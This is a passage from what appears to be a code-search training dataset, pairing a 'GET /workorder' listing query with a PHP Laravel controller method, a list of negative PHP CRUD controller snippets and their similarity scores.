"0.5509",
"0.54809916",
"0.54779065",
"0.5477574",
"0.5464009",
"0.5459592",
"0.54525197",
"0.5446612",
"0.543626",
"0.5425731",
"0.5418074",
"0.5417776",
"0.5414414",
"0.5414044"
] | 0.0 | -1 |
Display a listing of the resource. GET /workorder | public function index()
{
$check_points = [];
$containers = $this->containerRepository->getContainersToConfirm();
// dd($containers->toArray());
$cp = $this->containerConfirmationProcessRepository->getAllProcesses();
foreach ($cp as $key => $value) {
$check_points[$value->movement] = $value;
}
// foreach($containers as $container) {
// var_dump($container->workorders->last()->toArray());
// }
// die();
// foreach($containers as $ctn) {
// var_dump($ctn->workorders->last()->pivot->vehicle);
// }
return View::make('container_confirmation/index', compact('containers', 'check_points'))->withAccess($this->access);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function allWorkOrder()\n\t{\n\t\t// $data['workOrder']=$this->MainModel->selectAllworkOrder();\n\t\t// $data['worksOrders'] = $this->MainModel->selectAll('work_order', 'client_id');\n\t\t$data['worksOrders'] = $this->MainModel->selectAllworkOrder();\n\t\t$this->load->view('layout/header');\n\t\t$this->load->view('layout/sidebar');\n\t\t$this->load->view('pages/all-workorder', $data);\n\t\t$this->load->view('layout/footer');\n\t}",
"public function index() {\n if (!in_array('viewWorkorder', $this->permission)) {\n redirect('dashboard', 'refresh');\n }\n\n $this->render_template('workorder/index', $this->data);\n }",
"public function index()\n\t{ \n\t \n\t\t$work = Work::where('status','=',0)->orWhere('status','=',1)->orderBy('created_at','desc')->get();\n\t\treturn view('admin.work.index', compact('work'));\n\t}",
"public function index(WorkOrderFormRequest $request)\n {\n $search_input = $request->all();\n $workOrders = new WorkOrder;\n\n // si se especificarion fechas, añado las clausulas de fecha\n if(!empty($request->get('from')) && !empty($request->get('to'))){\n $workOrders = $workOrders->where(function($q) use($request){\n $q->where('work_orders.created_at', '>=', $request->get('from'))\n ->where('work_orders.created_at', '<=', $request->get('to'));\n });\n }\n \n // si se epecificó texto de búsqieda, añado las clausulas\n if(!empty($request->get('find'))){\n $workOrders = $workOrders->whereHas('vehicle', function($q) use($request){\n $q->where('vehicles.plate', 'like', '%'.$request->get('find').'%');\n })\n ->orWhereHas('employee', function($q) use($request){\n $q->where(function($q) use($request){\n $q->where('name', 'like', '%'.$request->get('find').'%')\n ->orWhere('lastname', 'like', '%'.$request->get('find').'%');\n });\n })\n ->orWhere('work_orders.destination', 'like', '%'.$request->get('find').'%');\n }\n\n // cargamos las relaciones de las ordenes de trabajo, ordenamos y paginamos\n $workOrders = $workOrders->with('vehicle', 'vehicleMovements', 'employee', 'user')\n ->orderBy('updated_at', 'desc')\n ->paginate(15);\n\n return view('workOrders.index', compact('workOrders', 'search_input'));\n }",
"public function index()\n {\n $items = Work::all();\n return view('pages.admin.works.index', ['items' => $items]);\n }",
"public function actionIndex()\n {\n $searchModel = new WorkItemSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }",
"public function index() {\n $this->show_order();\n }",
"public function index()\n {\n $orders = Order::where('status',0)->get();\n return view('Backend.order_list',compact('orders'));\n }",
"public function index()\n { \n //get all stuff list\n $stuffs = Admin::SelectStuffs()\n ->Select('id', DB::raw('CONCAT(first_name, \" \", last_name) AS name'))\n ->orderBy('first_name')\n ->orderBy('last_name')\n ->get()\n ->toArray();\n $stuffs = ['' => 'Select Staff'] + array_convert2to1($stuffs, 'id', 'name');\n \n //get orders\n $this->saveSorting();\n \n $order = Request::input('order');\n $orderby = Request::input('orderby') == 'asc'? 'asc': 'desc';\n switch($order)\n {\n case 'shipping_name':\n case 'shipping_email':\n case 'created_at':\n case 'total_price':\n case 'status':\n break;\n \n default:\n $order = 'created_at';\n $orderby = 'desc';\n break;\n }\n \n //where\n $orders = null;\n if($this->current_user->has_permission('sales.order.view.assigned', true))\n {\n $orders = Order::select('orders.*')\n ->join('order_items', 'orders.id', '=', 'order_items.order_id')\n ->where('order_items.job_stuff_id', $this->current_user->id)\n ->groupBy('order_id')\n ->orderBy('created_at', 'desc')\n ->paginate($this->list_limit); \n }\n else\n {\n $orders = Order::orderBy('created_at', 'desc')\n ->paginate($this->list_limit); \n }\n \n return $this->view('sales.order.index', compact('orders', 'stuffs')); \n }",
"public function show_list()\n {\n $this->output('Workstatus/v_workstatus_ajax');\n }",
"public function index()\n {\n $records = $this->orderRepo->all();\n return view('backend/order/index', compact('records'));\n }",
"public function actionIndex()\n {\n $searchModel = new WorkplaceSearch();\n $dataProvider = $searchModel->search($this->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }",
"public function show(WorkOrder $workOrder)\n {\n return response()->json($workOrder);\n }",
"public function index() {\n $orders = Order::all()->load('orderitems', 'shippings');\n return view('backend.admin.order.list')->with('orders', $orders);\n }",
"public function index()\n {\n $works = Work::paginate(9);\n return view('works.index')->with('works', $works);\n }",
"public function index()\n {\n $orders = Order::all();\n \n return view('orderList')->with('orders', $orders);\n }",
"public function index()\n {\n return view('admin.works.index')\n ->withWorks(Work::all());\n }",
"public function index()\n {\n //\n\t\treturn OrderResource::collection(Order::all());\n }",
"public function index()\n {\n return InternalPartOrder::all();\n }",
"public function actionIndex()\n {\n $searchModel = new JoborderSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }",
"public function actionIndex()\n\t\t{\n\t\t\t$this->setSubData();\n\n\t\t\t$searchModel = new OrderSearch();\n\n\t\t\t$dataProvider = $searchModel->search(Yii::$app->request->get(), [\n\t\t\t\t'attributes' => $this->subData['visibleAttributes'],\n\t\t\t\t'stores' => $this->subData['storesIds'],\n\t\t\t]);\n\n\t\t\treturn $this->render('index', [\n\t\t\t\t'dataProvider' => $dataProvider,\n\t\t\t\t'searchModel' => $searchModel,\n\t\t\t\t'subData' => $this->subData\n\t\t\t]);\n\t\t}",
"public function index()\n {\n $orders = Order::all();\n\n return view('backend.order.index', compact('orders'));\n }",
"public function index()\n {\n return view('worktable');\n }",
"public function index()\n {\n $orders = Order::all();\n return view('backend.order.index', compact('orders'));\n }",
"public function actionIndex()\n {\n return $this->render('grid', ['model' => new WbOrderType()]);\n }",
"public function index()\n {\n $orders = Order::paginate(10);\n return view('backend.orders.index', compact('orders'));\n }",
"public function index()\n {\n $orders = Order::orderby('created_at', 'desc')->paginate(4);\n return view('orders.list_order', compact('orders'));\n\n }",
"public function index()\n {\n //\n return OrderResource::collection(Order::paginate());\n }",
"public function index()\n {\n $orders = Order::latest()->get();\n return OrderResource::collection($orders);\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $machineOrders = $em->getRepository('BioprogrammeProductionBundle:MachineOrder')->findAll();\n\n return $this->render('BioprogrammeProductionBundle:machineorder:index.html.twig', array(\n 'machineOrders' => $machineOrders,\n ));\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $workout1s = $em->getRepository('ErikCRUDBundle:Workout1')->findAll();\n\n return $this->render('workout1/index.html.twig', array(\n 'workout1s' => $workout1s,\n ));\n }",
"public function index()\n {\n //\n return view('admin.itemsList.orderList')->with([\n 'orders' => Order::orderBy('created_at', 'desc')->paginate(6)\n ]);\n }",
"public function index()\n {\n $orders = Order::all();\n return view('orders/list', compact('orders'));\n }",
"public function index()\n {\n return $this->orderInterface->index();\n }",
"public function index()\n {\n $orders = Order::with('customer','spec', 'product', 'variation', 'address')->latest()->paginate(10);\n\n return view('admin.orders-list')\n ->withOrders($orders);\n\n }",
"public function index()\n {\n return OrderResource::collection(Order::all());\n }",
"public function index()\n {\n View::share([\n 'title' => 'Order Management',\n 'sideBar' => NavigatorHelper::getSideBarBE()\n ]);\n $status = Status_orders::all(['name', 'id'])->toArray();\n\n return view('order.list')->with('status', $status);\n }",
"public function listAction()\n {\n//\n $request = $this->getRequest();\n\n $routeMatch = $this->getEvent()->getRouteMatch();\n $id = $routeMatch->getParam('workout_id', 0);\n\n if ($id <= 0) {\n return $this->redirect()->toRoute('hi-training/workout/list');\n }\n\n /**\n * Grid FORM\n */\n $form = new WorkoutExerciseGrid(\n array(\n 'view' => $this->_view,\n )\n );\n\n /**\n * BUILDING LIST\n */\n $list = new WorkoutExerciseResultSet(\n array(\n 'model' => $this->_exercise,\n 'view' => $this->_view,\n )\n );\n\n $list->setFieldOptions('type_id', array(\n 'values' => $types = $this->_exerciseType->getBehaviour('nestedSet')->getResultSetForText(),\n ));\n\n $typesTemp = $this->_exerciseType->getResultSet()->toArray();\n $types = array();\n foreach ( $typesTemp as $key => $type) {\n $types[$type['type_id']] = $type;\n }\n\n\n $list->addField(\n 'results',\n 'custom',\n array(\n 'label' => 'results',\n 'sortable' => false,\n 'values' => $types,\n 'viewScript' => 'workout-exercise/_field_result.phtml',\n )\n );\n\n $list->setDbWhere('workout_id = ' . (int)$id);\n\n //\n $list->processRequest($this->getRequest());\n\n //\n $list->build();\n\n //\n $form->addSubForm($list, $list->getName());\n\n// //\n $this->_view->headScript()->appendScript(\n $this->_view->render(\n 'workout-exercise/list.js',\n array(\n 'back' => $this->url()->fromRoute('hi-training/workout/list'),\n 'delete' => $this->url()->fromRoute('hi-training/workout-exercise/delete/wildcard', array('exercise_id' => '')),\n 'edit' => $this->url()->fromRoute('hi-training/workout-exercise/edit/wildcard', array('exercise_id' => '')),\n 'add' => $this->url()->fromRoute('hi-training/workout-exercise/add/wildcard', array('workout_id' => $id)),\n )\n )\n );\n\n /**\n * POST\n */\n if ($this->getRequest()->isPost()) {\n\n $formData = $this->getRequest()->post()->toArray();\n\n\n if ($form->isValid($formData)) {\n \\Zend\\Debug::dump($formData);\n if ( isset($formData['header']['formId'])\n && $formData['header']['formId'] == 'WorkoutExerciseGridForm') {\n\n if (isset($formData['WorkoutExerciseResultSet']['actions']['saveSelected'])) {\n $allBox = $formData['WorkoutExerciseResultSet']['header']['all'];\n $rows = $formData['WorkoutExerciseResultSet']['rows'];\n\n foreach ($rows as $key => $row) {\n if ($row['id'] || $allBox) {\n $exercise = $this->_exercise->getRow(array('exercise_id' => $key));\n $exercise->populate($row['row']);\n $exercise->save();\n\n }\n }\n\n return $this->redirect()->toRoute('hi-training/workout-exercise/list/wildcard', array('workout_id' => $id));\n }\n\n if (isset($formData['WorkoutExerciseResultSet']['actions']['deleteSelected'])) {\n\n $allBox = $formData['WorkoutExerciseResultSet']['header']['all'];\n $rows = $formData['WorkoutExerciseResultSet']['rows'];\n\n foreach ($rows as $key => $row) {\n if ($row['id'] || $allBox) {\n\n $exercise = $this->_exercise->getRow(array('exercise_id' => $key));\n $exercise->delete();\n\n }\n }\n\n return $this->redirect()->toRoute('hi-training/workout-exercise/list/wildcard', array('workout_id' => $id));\n//\n }\n }\n }\n }\n\n return array(\n 'form' => $form,\n 'workout' => $this->_workout->getRow(array('workout_id'=>$id)),\n );\n\n }",
"public function index()\n {\n $orders = $this->orderRepository->with('foods')->get();\n return api_response_paginate(\n 200,\n 'success',\n (new OrderCollection($orders))\n ->paginate(Request::get('per-page') ?? 10));\n }",
"public function index()\n {\n return view('order.list');\n }",
"public function index()\n\t{\n\n\t\t\n\t\t$orders = Order::all();\n\n\t\tdd($orders);\n\t}",
"public function index()\n {\n $orders = Order::orderBy('created_at', 'desc')->paginate(20);\n\n\n return view('vendor.voyager.order.browse', ['orders' => $orders]);\n\n }",
"public function index()\n {\n $orders = $this->orderRepository->paginate();\n return view('admin.orders.index', compact('orders'));\n }",
"public function index()\n {\n $orders = Orders::paginate(10);\n return view('backend.orders.index', compact('orders'));\n }",
"public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => OrderClient::find(),\n 'pagination' => [\n 'pageSize' => 10,\n ],\n 'sort' => [\n 'defaultOrder' => [\n 'status' => SORT_ASC,\n ],\n ],\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }",
"public function index()\n {\n return view('admin.works.index', ['works' => Works::all()]);\n }",
"public function index()\n {\n $paperworks = $this->paperwork->all();\n return view('ipaperwork::admin.paperworks.index', compact('paperworks'));\n }",
"public function list()\n {\n $orders= Order::orderBy('status')->orderBy('orderdate')->orderBy('id','desc')->paginate(20);\n return view('admin.orders.index',compact('orders'));\n }",
"public function index()\n {\n return view('backend.order.index' , [\n 'orders' => Order::all()\n ]);\n }",
"public function index()\n {\n //\n $orders = Order::all();\n return view('admin.order.index', compact('orders'));\n }",
"public function index()\n {\n // $title = \"Danh Sách WorkTask\";\n // $worktask = DB::table(\"qlsv_worktasks\")->where('deleted_at', 0)->paginate(2);\n // $monhoc = DB::table(\"qlsv_monhocs\")->where('deleted_at', 0)->pluck(\"tenmonhoc\", \"id\");\n // $worktaskdetail = DB::table(\"qlsv_worktaskdetails\")->get();\n // return view(\"admin/WorkTask/dsworktask1\", ['worktask' => $worktask, 'monhoc' => $monhoc, 'worktaskdetail' => $worktaskdetail, 'title' => $title]);\n }",
"public function index()\n {\n $orders = Order::whereState('status', Open::class)\n ->orderBy('created_at')->get()->makeHidden([\n 'meta',\n 'status',\n 'updated_at',\n 'deleted_at',\n 'fulfilled_at',\n ]);\n\n return response([\n 'items' => $orders->toArray(),\n 'count' => $orders->count(),\n ]);\n }",
"public function actionIndex()\n\t{\n\t\t$model = new Order('search');\n\n\t\tif (!empty($_GET['Order']))\n\t\t\t$model->attributes = $_GET['Order'];\n\n\t\t$dataProvider = $model->search();\n\t\t$dataProvider->pagination->pageSize = Yii::app()->settings->get('core', 'productsPerPageAdmin');\n\n\t\t$this->render('index', array(\n\t\t\t'model'=>$model,\n\t\t\t'dataProvider'=>$dataProvider,\n\t\t));\n\t}",
"public function index()\n {\n $orders = OnlineOrder::where('status', 'Done')->get();\n return view('online_store.finished_orders',compact('orders'));\n }",
"public function index()\n {\n $workouts = Workout::visible()\n ->withTranslation()\n ->get()\n ->sortByDesc('created_at');\n\n return view('workouts.index', compact('workouts'));\n }",
"public function index()\n {\n $works = Work::all();\n $hoy = Carbon::today();\n $worksToDay = Work::whereDate('created_at', $hoy)->get();\n $vac = compact('works','worksToDay');\n session()->forget('no-results');\n return view('admin.work.index', $vac);\n }",
"public function actionIndex()\n {\n $searchModel = new OrderSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }",
"public function index()\n {\n $orders = Order::with('foods', 'user')->where('user_id', Auth::user()->id)->get();\n\n if (!$orders->count()) {\n return response()->json([\n 'message' => 'Record not found.',\n 'data' => $orders\n ], 201);\n }\n\n return response()->json([\n 'message' => 'List of data',\n 'data' => $orders\n ], 200);\n }",
"public function index()\n {\n $works = Work::all();\n\n// dd($works);\n return view('work.index')->with('works',$works);\n }",
"public function index()\n {\n $orders = Order::all();\n return view('order.index', compact('orders'));\n }",
"public function index()\n {\n $orderarray = Order::all();\n \n return view('order.index', compact('orderarray'));\n }",
"public function list(){\n $list = $this->getOrders();\n return view('orders.form-order', compact('list'));\n // dd($list);\n }",
"public function index()\n {\n return OrderIndexResource::collection(Order::all());\n }",
"public function actionIndex()\n {\n $this->pageName = Yii::t('CartModule.admin', 'ORDER', 0);\n $this->breadcrumbs = array($this->pageName);\n $model = new Order('search');\n\n if (!empty($_GET['Order']))\n $model->attributes = $_GET['Order'];\n\n $user_id = (int)Yii::app()->request->getParam('user_id', false);\n if ($user_id) {\n $userModel = User::model()->findByPk($user_id);\n $this->pageName = Yii::t('CartModule.admin', 'ORDERS_BY_USER', array('{username}' => $userModel->getFullName()));\n $this->breadcrumbs = array(\n Yii::t('CartModule.default', 'MODULE_NAME') => $this->createUrl('index'),\n $this->pageName\n );\n $model->applyUser($user_id);\n }\n $dataProvider = $model->search();\n\n $this->render('index', array(\n 'model' => $model,\n 'dataProvider' => $dataProvider,\n ));\n }",
"public function index()\n {\n\n $workouts = Workout::all();\n return view('workouts.workouts',[\n 'workouts' => $workouts\n ]);\n }",
"public function index()\n {\n $order = Order::orderBy('created_at', 'DESC')->paginate(10);\n return view('admin.order.index', compact('order'));\n }",
"public function indexAction() {\n try {\n \n $pageHeading = \"Orders\";\n $this->view->page_heading = $pageHeading;\n $this->view->data_page = \"tables\";\n \n $orderStatus = $this->_getParam('order-status', 0);\n if ($orderStatus == 1) {\n $orderStatus = \"\";\n }\n \n $status = $this->_request->getParam('status');\n $clientId = $this->_request->getParam('client');\n \n $objPaggination = new Base_Model_ObtorLib_Base_Lib_Paggination();\n\n $objOrderService = new Base_Model_Lib_Order_Service_Order();\n $objOrderEntity = new Base_Model_Lib_Order_Entity_Order();\n $objOrderEntity->setStatus($orderStatus);\n $objOrderEntity->setUserId($clientId);\n\n $objOrderService->order = $objOrderEntity;\n\n $totalResult = $objOrderService->searchCount();\n $page = $this->_getParam('page', 1);\n $objPaggination->CurrentPage = $page;\n $objPaggination->TotalResults = $totalResult;\n $paginationData = $objPaggination->getPaggingData();\n $pageLimit1 = $paginationData['MYSQL_LIMIT1'];\n $pageLimit2 = $paginationData['MYSQL_LIMIT2'];\n\n $limit = \" LIMIT $pageLimit1,$pageLimit2\";\n\n if ($page == '') {\n $page = 1;\n }\n\n $result = $objOrderService->search($limit);\n $this->view->orders = $result;\n $this->view->paggination = $objPaggination;\n\n $this->view->pageNum = $page;\n $this->view->status = $status;\n $this->view->orderStatus = $orderStatus;\n \n } catch (Exception $ex) {\n throw new Exception('<ERROR>' . $ex->getMessage() . \"\\n\");\n }\n }",
"public function index()\n {\n if(request()->ajax() || request()->wantsJson()){\n $sort= request()->has('sort')?request()->get('sort'):'name';\n $order= request()->has('order')?request()->get('order'):'asc';\n $search= request()->has('searchQuery')?request()->get('searchQuery'):'';\n \n $order= \\DB::table('orders')->select('orders.*')\n ->orderBy(\"$sort\", \"$order\")\n ->paginate(10);\n \n $paginator=[\n 'total_count' => $order->total(),\n 'total_pages' => $order->lastPage(),\n 'current_page' => $order->currentPage(),\n 'limit' => $order->perPage()\n ];\n return response([\n \"data\" => $order->all(),\n \"paginator\" => $paginator,\n \"status_code\" => 200\n ],200);\n }\n\n\n return view('employee.inventory.orders');\n \n }",
"public function index()\n {\n $orders = Order::all();\n return view('Order.index', compact('orders'));\n }",
"public function actionIndex()\n {\n $searchModel = new OrderSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n //$dataProvider->sort = ['defaultOrder' => ['created_at' => SORT_DESC]];\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }",
"public function index()\n\t{\n\t\t$orders = Order::all();\n\n\t\treturn View::make('admin.orders.index', compact('orders'));\n\t}",
"public function index()\n {\n $orders = Order::all();\n return view('admin.order.index' , compact('orders'));\n }",
"public function index()\n {\n $orders = Order::where('status','=',Order::NEW)->with(\"client\")->get();\n return $this->showAll('orders',$orders);\n }",
"public function index()\n {\n try {\n\n $orders = Order::join('details_orders', \"orders.id\", \"=\", \"details_orders.order_id\")\n ->join('products', \"details_orders.product_id\", \"=\", \"products.id\")\n ->join('users', \"users.id\",\"=\",\"orders.user_id\")->where('orders.status',\"=\",3)\n ->get();\n\n $response = [\n 'success' => true,\n 'data' => $orders,\n 'message' => 'Successful orders listing!'\n ];\n\n return response()->json($response, 200);\n } catch (Exception $e) {\n return jsend_error('Error: ' . $e->getMessage());\n }\n }",
"public function index()\n {\n return OrderCollection::collection(Order::paginate(10));\n }",
"public function index()\n {\n $orders = Order::orderBy('id','desc')->get();\n return view('admin.order.order',compact('orders'));\n }",
"function index() {\n // Build a list of orders\n\n $this->data[\"daysofweek\"] = $this->TimeSchedule->getDays();\n// $temp=$this->TimeSchedule->getDays();\n// var_dump($temp);\n\n $this->data['timeslots'] = $this->TimeSchedule->getTimeslots();\n\n $this->data['courses'] = $this->TimeSchedule->getCourses();\n// $temp2=$this->TimeSchedule->getTimeslots();\n// var_dump($temp2);\n\n $this->data['pagebody'] = 'homepage';\n $this->render();\n }",
"public function index()\n {\n $this->global['pageTitle'] = 'Tickets - '.APP_NAME;\n $this->global['pageMenu'] = 'Tickets';\n $this->global['contentHeader'] = 'Tickets';\n $this->global['contentTitle'] = 'Input Used Spareparts';\n $this->global ['role'] = $this->role;\n $this->global ['name'] = $this->name;\n\n $rsparts = array();\n $rsfsl = array();\n $rsparts = $this->converter->objectToArray($this->get_parts());\n $rsfsl = $this->converter->objectToArray($this->get_warehouses());\n \n $data[\"ticket_num\"] = $this->get_ticket_num();\n $data[\"list_parts\"] = $rsparts;\n $data[\"list_warehouses\"] = $rsfsl;\n \n $this->loadViews('front/tickets/index', $this->global, $data);\n }",
"public function index()\n {\n $a = Order::all();\n foreach ($a as $key => $value) {\n $order_id = $value->order_id;\n }\n $order = DB::table('tpl_order')\n ->select(\n 'tpl_order.order_id',\n 'tpl_order.updated_at',\n 'tpl_order.status',\n 'users.username',\n 'tpl_order.note'\n )\n ->join('users', 'users.id', '=', 'tpl_order.user_id')\n ->get();\n $order_detail = DB::table('tpl_order_dt')\n ->join('tpl_order', 'tpl_order.order_id', '=', 'tpl_order_dt.order_id')\n ->join('tpl_product', 'tpl_product.product_id', '=', 'tpl_order_dt.product_id')\n ->select(\n 'tpl_product.product_img',\n 'tpl_product.product_name',\n 'tpl_order.*',\n 'tpl_order_dt.*'\n )\n ->get();\n return view('pages.server.order.list')\n ->with('order', $order)\n ->with('order_detail', $order_detail);\n }",
"public function index()\n {\n $logged_user = Auth::user();\n $workouts = Workout::all();\n return view('Admin.Workouts.index',compact('logged_user','workouts'));\n }",
"public function actionIndex()\n {\n\n $searchModel = new SearchForestWork();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n // Для пользователей не из ЦА выводим только отчеты их филиала\n $branchID = Yii::$app->user->identity->branch_id;\n if($branchID != 0) $dataProvider->query->andWhere(\"forest_work.branch_id = $branchID\");\n\n \n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }",
"public function index()\n\t{\n\t\t//\n\t\t$store = Store::where('user_id', $GLOBALS['user']->id)->first();\n\t\t$orders = Order::where('store_id', $store->id)->orderBy('id', 'desc')->paginate(10);\n\t\treturn View::make('stores.admin.order_index', compact('store', 'orders'));\n\t}",
"public function index()\n {\n //\n $orders = Order::orderBy('id','desc')->get();\n\n return view('admin.order.index',compact('orders'));\n }",
"public function index()\n {\n $orders = Order::latest()->paginate(20);\n return response()->json($orders, 200);\n }",
"public function index()\n\t{\n\t\t$workers = Worker::all();\n\t}",
"public function index()\n {\n //ovde izlista sve radne dane sa paginate\n $products = Product::all();\n $active = Workday::getActive();\n return view('workdays.index', compact('workdays', 'active', 'products'));\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('AppBundle:Ordering')->findAll();\n\n return $this->render('AppBundle:Ordering:index.html.twig', array(\n 'entities' => $entities,\n ));\n }",
"public function index()\n {\n $orders = Order::latest()->get();\n\n return view('admin.orders.index',compact('orders'));\n }",
"public function index()\n {\n $orders= Order::orderBy('created_at','desc')->get();\n\n return view('admin.order.index',compact('orders'));\n }",
"public function index()\r\n {\r\n // // 引入实体类\r\n // $orderModel = new OrderModel();\r\n // // 数据查询\r\n // $orders = Db::name('order')->order(\"id asc\")->select();\r\n // $orders = Db::name('order')->order(\"id asc\")->select();\r\n $orders = Db::name('order')->order(\"id asc\")->paginate(10);\r\n // $orderModel1 = OrderModel::get(1);\r\n // echo '<pre>', $orderModel, '</pre>';\r\n // echo '<pre>', $orders, '</pre>';\r\n // echo '<pre>', $orderModel1['paymentType'], '</pre>';\r\n // $routeModel->getRoutes(true);\r\n $page = $orders->render();\r\n // 把查询的数据 放到对应的前端中去\r\n $this->assign(\"orders\", $orders);\r\n $this->assign(\"page\", $page);\r\n return $this->fetch();\r\n }",
"public function index()\n {\n $data = Order::all();\n return view(\"admin.data_order\")->with('data', $data);\n }",
"public function index_open()\n {\n $orders = Order::whereUserId(Auth('user')->user()->id)\n ->whereIn('status', ['dispatched', 'new', 'confirmed', 'in_ktichen', 'almost_ready', 'prepare_completed'])\n ->whereDate('created_at', '<=', now())\n ->latest()\n ->paginate(20);\n $response['status'] = 'success';\n $response['orders'] = $orders;\n return response()->json($response, Response::HTTP_OK);\n }",
"public function index()\n {\n $created_by=Auth::guard('users')->user()->id;\n $work_details=Work::where('work_status_dpc','=',1)->where('created_by','=',$created_by)->get();\n return view('users.pages.works.work_display',['work_details'=>$work_details]);\n\n }",
"public function index()\n {\n // redirect to admin page is user is administrator\n if (Auth::user()->role_id === 1) {\n return redirect('/admin');\n }\n\n if (Auth::user()->role_id === 2 || Auth::user()->role_id === 3) {\n \n $workorders = WorkOrder::where('order_by',Auth::id())->where('status','!=','3')->orderBy('updated_at','DESC')->get();\n\n return view('home',compact(['workorders']));\n }\n \n $workorders = WorkOrder::where('follow_up',Auth::id())->where('status','!=','3')->orderBy('updated_at','DESC')->get();\n\n return view('home',compact(['workorders']));\n }",
"public function index()\n {\n return view('definition.order.index');\n }",
"public function index()\n {\n $unitList= unit_by_id();\n $unitList= collect($unitList)->pluck('hr_unit_name', 'hr_unit_id');\n $buyerList= buyer_by_id();\n $buyerList= collect($buyerList)->pluck('b_name', 'b_id');\n $brandList= brand_by_id();\n return view(\"merch/order/list\", compact('unitList','buyerList','brandList'));\n }",
"public function index()\n {\n $inprogressOrders = Order::where(['status'=> 'inprogress', 'writer_id'=>auth()->id()])\n ->orderBy('created_at','DESC')\n ->select('id','title','noOfPages','status','currency','writerAmount','writerEndDate','user_id','isUrgent')\n ->paginate(10);\n\n return view('writer.order.inprogress.index', compact('inprogressOrders'));\n }",
"public function index(Request $request) {\n if(auth()->user()->user_role_id == config('constants.user_types.waiter')) {\n $data = Itemorder::where('staff_id', auth()->user()->id)->orderBy('created_at', 'desc')->get();\n } else {\n $data = Itemorder::get();\n }\n\n return View::make('orders.index')->with(compact('data'));\n }",
"public function actionIndex()\n {\n//\n $req = Yii::$app->request;\n $sort = $req->get('sort');\n $query = Order::find();\n $countQuery = clone $query;\n $pages = new Pagination(['totalCount' => $countQuery->count()]);\n $orders = $query\n ->offset($pages->offset)\n ->orderBy($sort)\n ->limit($pages->limit)\n ->all();\n\n $this->data = [\n 'pages' => $pages,\n 'orders' => $orders,\n ];\n return $this->xrender();\n }",
"public function index()\n {\n $orders = \\App\\Models\\Order::all();\n\n return view('orders', [\n 'allOrders' => $orders\n ]);\n }",
"public function index()\n {\n $orders = Order::orderBy('id', 'DECS')->paginate(5);\n return view('back-end.orders.index')->with(['orders' => $orders]);\n }"
] | [
"0.7397839",
"0.726605",
"0.6991487",
"0.6847584",
"0.68182284",
"0.6748176",
"0.6723573",
"0.6717667",
"0.6661713",
"0.6656298",
"0.66199696",
"0.6605913",
"0.6595814",
"0.6585602",
"0.65730524",
"0.65666544",
"0.65575314",
"0.65437347",
"0.653958",
"0.653131",
"0.65226233",
"0.65194887",
"0.65059775",
"0.6503854",
"0.6461339",
"0.64537865",
"0.64486605",
"0.64288306",
"0.6422247",
"0.6413452",
"0.6404673",
"0.6392227",
"0.6391683",
"0.63865054",
"0.6374171",
"0.63741",
"0.6348198",
"0.63395107",
"0.63380206",
"0.63365173",
"0.63275146",
"0.63199043",
"0.63060266",
"0.6303232",
"0.62988037",
"0.62918824",
"0.6278352",
"0.62737584",
"0.6264497",
"0.62586683",
"0.6247845",
"0.62469226",
"0.6244425",
"0.62430084",
"0.6235714",
"0.62333506",
"0.6226282",
"0.62215",
"0.6220265",
"0.6215735",
"0.62154186",
"0.6200419",
"0.6197414",
"0.61945176",
"0.6185437",
"0.6183072",
"0.6181718",
"0.6180788",
"0.61754906",
"0.61743957",
"0.61701554",
"0.6167686",
"0.61657345",
"0.616541",
"0.6163601",
"0.61482686",
"0.61414105",
"0.61386335",
"0.6138346",
"0.6138149",
"0.6135529",
"0.6131812",
"0.6129225",
"0.61252064",
"0.6122953",
"0.6121779",
"0.61181927",
"0.61140406",
"0.611397",
"0.6111255",
"0.61102843",
"0.6107316",
"0.6106251",
"0.6101745",
"0.6101225",
"0.6098533",
"0.6095764",
"0.6092353",
"0.60922986",
"0.6087497",
"0.6084439"
] | 0.0 | -1 |
Show the form for creating a new resource. GET /workorder/create | public function create()
{
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function create()\n {\n $data = $this->dispatch(new WorkFormFieldModel());\n\n return view('admin.works.create', $data);\n }",
"public function create()\n {\n $employees = \\sanoha\\Models\\SubCostCenter::getRelatedEmployees();\n $vehicle_responsibles = \\sanoha\\Models\\Employee::where('authorized_to_drive_vehicles', true)->get()->lists('fullname', 'id')->all();\n $vehicles = \\sanoha\\Models\\Vehicle::lists('plate', 'id')->all();\n \n return view('workOrders.create', compact('employees', 'vehicles', 'vehicle_responsibles'));\n }",
"public function create()\n {\n $this->authorize('create', Work::class);\n\n return view('works.create');\n }",
"public function create()\n {\n return view('workouts.form');\n }",
"public function create()\n {\n //显示添加页面\n return view('Admin.Order.add');\n }",
"public function create()\n {\n return view('backend.orders.create');\n }",
"public function create()\n\t{\n\t\treturn view('admin.sale-order.create');\n\t}",
"public function actionCreate()\n {\n $model = new YxOrder();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }",
"public function create()\n {\n\n return view('workouts.create');\n }",
"public function create()\n\t{\n return view('orders.create');\n\t}",
